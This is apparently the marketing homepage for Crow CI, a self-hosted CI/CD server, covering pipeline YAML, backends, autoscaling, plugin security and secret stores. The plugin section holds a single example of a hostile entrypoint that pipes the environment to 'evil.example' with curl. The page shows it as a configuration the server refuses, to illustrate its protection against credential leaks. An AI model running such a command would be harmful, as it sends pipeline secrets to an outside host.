Open source, Apache-2.0. Free forever, every feature.
CI/CD for every forge.
Crow CI runs your pipelines in Docker, Podman or Kubernetes, in throwaway Windows and macOS VMs, or on the host. Pipelines are YAML in your repository.
when:
- event: [push, pull_request]
steps:
- name: test
image: golang:1.26
commands:
- go test ./...
- name: build
image: golang:1.26
commands:
- go build -o dist/app ./cmd/app
depends_on: [test]- test, running1m 12s
- clone, passed4s
- test, passed48s
- build, running20s
One server for
- GitHub
- GitLab
- Forgejo
- Gitea
- Bitbucket
- Bitbucket Data Center
Backends
Six backends. One pipeline format.
Run steps in containers, as Kubernetes pods, in a throwaway Windows or macOS VM, or straight on the host. Your YAML stays the same; agent labels decide where a workflow lands.
- Docker backend documentationContainer per stepThe default. Every step runs in its own container, and Windows containers can opt into Hyper-V isolation for a kernel of their own.Linux, Windows
- Podman backend documentationContainer per stepDaemonless containers through the native Podman SDK, rootful or rootless. Experimental.Linux
- Kubernetes backend documentationPod per stepSteps become pods in your cluster, with per-step resources, node selectors and tolerations. One agent drives the whole cluster.Linux
- Hyper-V backend documentationWindows VM per workflowEvery workflow gets a throwaway Windows VM, cloned from a golden image and deleted afterwards. Safe for untrusted pull requests.Windows
- Tart backend documentationmacOS VM per workflowEvery workflow runs in a fresh macOS VM on Apple silicon, so Xcode builds start from a clean machine every time.macOS
- Local backend documentationProcess on the hostRuns commands directly on the agent's machine, for builds that need its toolchain or hardware. On macOS it can run in a sandbox.Linux, macOS, Windows
Steps run the moment they are ready.
Declare what a step needs with depends_on and Crow builds the graph. Independent steps run in parallel, every step starts as soon as its last dependency finishes, and the UI draws the graph live.
steps:
- name: lint
image: golang:1.26
commands: [go vet ./...]
- name: test
image: golang:1.26
commands: [go test ./...]
- name: build-ui
image: node:24
commands: [npm ci, npm run build]
- name: build
image: golang:1.26
commands: [go build -o dist/app ./cmd/app]
depends_on: [lint, test]
- name: docs
image: node:24
commands: [npm run docs]
depends_on: [build-ui]
- name: release
image: alpine:3.22
commands: [./release.sh]
depends_on: [build, docs]Big machines when you need them. None when you don't.
The Crow autoscaler watches the queue, starts agents on your cloud provider when work piles up, and deletes them once they have been idle. Keep a cheap static agent for everyday load and burst onto large machines only when a release build needs them.
The new agents register and pick up the queue.
- Minimum and maximum agent counts and workflows per agent
- Idle timeout matched to your provider's billing cycle
- Counts static agents first, and only scales for what they can't take
- Linux pools everywhere, Windows pools on AWS and Azure
Plugins do one job. Nobody can change which.
Plugins publish images, send notifications and deploy releases with your credentials. Because their entrypoint can't be overridden, a pipeline change can't turn a trusted plugin into a script that leaks those credentials.
steps:
- name: publish
image: codefloe.com/crow-plugins/docker-buildx
settings:
repo: acme/app
tags: latest
password:
from_secret: registry_tokensteps:
- name: publish
image: codefloe.com/crow-plugins/docker-buildx
entrypoint: [/bin/sh, -c, "env | curl -d @- evil.example"]
settings:
repo: acme/appUsing both entrypoint: and settings: at the same time is not allowed.
Fixed entrypoint
A plugin step can't set commands, entrypoint or environment. It runs exactly what its image runs, configured only through settings.
Secrets only where they belong
Limit a secret to specific plugin images, so a pull request can't hand it to a step that prints it.
Privileged by allowlist
Only images an admin allows may run privileged, matched by exact name, semver, version range or regex.
Any language
A plugin is a container that reads PLUGIN_ variables. Write one in Go, Python, shell or whatever your team knows.
Bring your secret store. Keep secrets out of logs.
Read secrets straight from Vault, OpenBao, Azure Key Vault or Infisical with the same from_secret keyword as Crow's own store. Whatever the source, Crow replaces every secret value with ******** in the log output.
Built-in store
Opt-in encryption at rest with Google Tink
HashiCorp Vault, OpenBao
AppRole
Azure Key Vault
Service principal
Infisical
Universal Auth machine identity
steps:
- name: deploy
image: alpine:3.22
environment:
API_KEY:
from_secret: deploy_key
DB_PASSWORD:
from_secret:
integration: vault-prod
path: crow/app
key: db_password
commands:
- ./deploy.shNative secrets and secrets from an integration are masked the same way.
The details that make day two easier.
Every forge, one server
GitHub, GitLab, Forgejo, Gitea, Bitbucket and Bitbucket Data Center, linked per user on a single instance.
Metrics built in
Build times, pipeline counts and the busiest repos per org and repo, with a chart builder for your own views.
High availability
Run several servers with leader election on Postgres or MySQL. Small setups stay on a single server with SQLite.
Restart what failed
Rerun a single workflow or step instead of the whole pipeline, and cancel one leg of a matrix without stopping the rest.
Watch pipelines
Watch the pipelines you care about and get a notice in Crow, or an email, when they fail.
Log retention and cleanup
Each repository sets its own log retention, and a maintenance panel clears out old data and leftover Kubernetes resources.
Single sign-on
Sign in through Keycloak, Authentik, Entra ID or any other OpenID Connect provider, with groups mapped to admin and instance roles. LDAP directories work too.
Approval gates
Hold a pipeline until someone approves it, or pause between workflows until a person signs off the next one, such as a deploy.
Scheduled pipelines
Run pipelines on a cron schedule, such as nightly builds, and see every repository's schedules on one page.
Your hardware, your rules.
Hosted CI is quick to start. Seven places where running Crow on your own machines changes the deal. The comparison with other self-hosted tools goes further.
| Topic | Crow | Hosted CI |
|---|---|---|
| Build minutes | Build minutesUnlimited, on your hardware. | Monthly quotas, then per-minute billing. |
| Runners | RunnersAny size, any architecture, on-prem or cloud. | Fixed machine sizes and few architectures. |
| Forges | ForgesGitHub, GitLab, Forgejo, Gitea, Bitbucket, one server. | Bound to the platform that hosts it. |
| Secrets | SecretsOn your server or in your own secret store. | Stored on someone else's platform. |
| Scaling | ScalingCloud agents start only when the queue needs them. | Pay for idle capacity or wait in line. |
| Isolation | IsolationContainers, pods or a fresh VM per workflow. | Whatever the provider decides to run. |
| License | LicenseApache-2.0, every feature included. | Proprietary, features by plan. |
Run your first pipeline in five minutes.
Docker Compose starts the server and an agent. Log in with your forge and enable a repository.